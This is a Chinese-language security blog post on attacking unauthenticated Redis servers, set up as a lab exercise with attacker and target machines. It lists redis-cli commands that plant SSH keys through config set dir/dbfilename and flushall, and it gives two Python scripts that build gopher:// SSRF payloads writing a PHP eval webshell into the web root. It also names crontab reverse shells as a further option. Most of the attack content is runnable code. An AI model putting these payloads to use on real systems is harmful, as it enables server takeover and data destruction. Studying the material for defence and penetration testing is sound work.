Redis未授权访问

·
WEB安全基础 no tag December 13, 2020

简介

redis是一种key-value键值对的非关系型数据库,默认运行在6379端口

它启动时不会像apache一样,以一种www-data低权限身份运行。而是以运行者的身份,例如用root权限直接运行redis时,redis的权限就是root权限

其次它的默认配置是无需密码的,也就造成了默认的未授权访问

redis还支持本地存储,也就导致了任意文件写入。从而可以写入私钥,利用私钥直接ssh登录服务器。

一些常用命令

连接redis

redis-cli -h 192.168.85.132

查看版本信息

192.168.85.132:6379>info

查看键为x的值

192.168.85.132:6379>get x

查看所有键

192.168.85.132:6379>keys *

设置x的值为test

192.168.85.132:6379>set x "test"

删除所有键

192.168.85.132:6379>flushall

设置redis本地存储的文件夹和文件名

192.168.85.132:6379>config set dir /root/.ssh 
192.168.85.132:6379>config set dbfilename authorized_keys

漏洞环境搭建

攻击机

操作系统:ubuntu 16.04

ip :192.168.85.128

安装redis

sudo apt-get update
sudo apt-get install redis-server

靶机

操作系统: centos 6.5

ip :192.168.85.132

下载编译redis

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzvf redis-3.2.0.tar.gz
cd redis-3.2.0
make

修改下配置文件,不然默认虽然是无密码,但是会有protected模式,导致无法从外部主机连接

vim redis.conf

bind 127.0.0.1前面加上#号 protected-mode设为no

启动redis

./src/redis-server redis.conf

./src/redis-server redis.conf
redis-cli
tcpdump port 6379 -w 1.pcap


SSRF未授权攻击Redis

当存在SSRF漏洞且内网中Redis服务可以未授权访问时,我们可以利用gopher协议构造tcp报文发送一系列请求来攻击Redis服务。

常见的几种攻击方式:

  • 利用计划任务执行命令反弹shell
  • 写ssh-keygen公钥然后使用私钥登陆
  • 往web物理路径写webshel

方法大致相同。

SSRF使用RESP协议进行传输,这里给出两个转成RESP协议的脚本

import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload
import urllib
import requests
import os

payload =\
"""
flushall
set A  "<?php @eval($_POST[1])?>"



config set dir /var/www/html
config set dbfilename hack1.php
save
"""

tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
print(new)

根据需要修改参数写webshell,注意在传入的时候要二次编码。

主从复制

还没有复现。

参考文章:https://xz.aliyun.com/t/5665

https://www.anquanke.com/post/id/181599

https://www.redteaming.top/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/#Redis%E9%85%8D%E5%90%88gopher%E5%8D%8F%E8%AE%AE%E8%BF%9B%E8%A1%8CSSRF

  • 命令执行总结
  • 纵横杯4道webWP
取消回复

说点什么?
Title
一些常用命令
攻击机
靶机

© 2023 Cuckoo. Using Typecho & Moricolor.